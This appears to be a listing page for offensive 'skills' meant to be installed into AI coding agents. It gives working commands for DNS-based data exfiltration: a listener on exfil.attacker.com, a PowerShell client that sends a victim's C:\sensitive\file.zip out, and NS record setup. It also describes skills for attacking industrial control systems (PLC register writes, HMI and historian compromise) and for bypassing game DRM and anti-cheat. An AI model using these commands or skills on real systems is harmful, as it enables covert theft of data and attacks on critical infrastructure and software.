offensive-tools/data-exfiltration/dnsexfiltrator/SKILL.md
Exfiltrate data over DNS queries using a custom DNS server. Use when HTTP/S channels are blocked and DNS traffic is allowed outbound, enabling covert file transfer via DNS TXT/A records.
npx skillsauth add aeondave/malskill dnsexfiltratorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.

Covert file exfiltration via DNS — Python server receives, PowerShell client sends.
# Attacker side — start DNS server (needs port 53 UDP)
sudo python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# Victim side (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\file.zip -d exfil.attacker.com -p password -t 500
Point an NS record for your subdomain to your listener IP:
exfil.attacker.com NS ns1.attacker.com
ns1.attacker.com A <your-server-ip>
| Option | Purpose |
|--------|---------|
| -d DOMAIN | Exfil domain (server) |
| -p PASSWORD | Encryption passphrase |
| -b 64/32 | Encoding (base64/base32) |
| -t MS | Throttle between queries (ms) |
| -r N | Max retries |

development
Offensive methodology for ICS/OT/SCADA environments in authorized industrial penetration testing and red team operations. Use when assessing PLCs, RTUs, HMIs, engineering workstations, historians, or field devices running Modbus, DNP3, EtherNet/IP, S7comm/S7+, Profinet, IEC 60870-5-104, BACnet, or OPC-UA. Covers passive OT network enumeration, protocol-level device interrogation, PLC coil/register read-write attacks, HMI session exploitation, historian and engineering workstation compromise, and safe escalation rules for critical infrastructure scope. Does not cover: general IT network exploitation (network-technique), physical hardware interfaces UART/JTAG/SPI (hardware-technique), wireless sensor network attacks (wireless-technique), RF/SDR signal analysis (hardware-ctf or wireless-technique), or CTF-framed ICS lab tasks (ics-ctf).

Offensive methodology for authorized game security assessments, game client security research, and game-adjacent penetration testing in real-world engagements. Use when assessing game clients for cheating vulnerabilities, testing anti-cheat effectiveness, auditing game server protocols for score manipulation or economic fraud, reverse engineering game DRM or license validation, analyzing game save file protection, or assessing game mod/plugin security. Covers: process memory scanning and manipulation (Cheat Engine methodology), game binary reversing for license and DRM bypass, game network protocol analysis and packet replay, anti-cheat mechanism analysis, save file format reversing and tampering, speed hack and value injection techniques. Does NOT cover: CTF game challenges (game-ctf), game engine source code auditing (web-exploit-technique or vuln-search-technique for the backend), or general binary exploitation (pwn-ctf or reversing-technique).
